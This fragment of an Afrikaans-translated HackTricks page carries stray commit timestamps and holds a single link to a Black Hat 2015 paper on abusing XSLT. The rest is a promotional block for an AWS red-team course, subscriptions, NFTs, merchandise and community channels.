* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-04-28 16:01:33 +00:00
</details>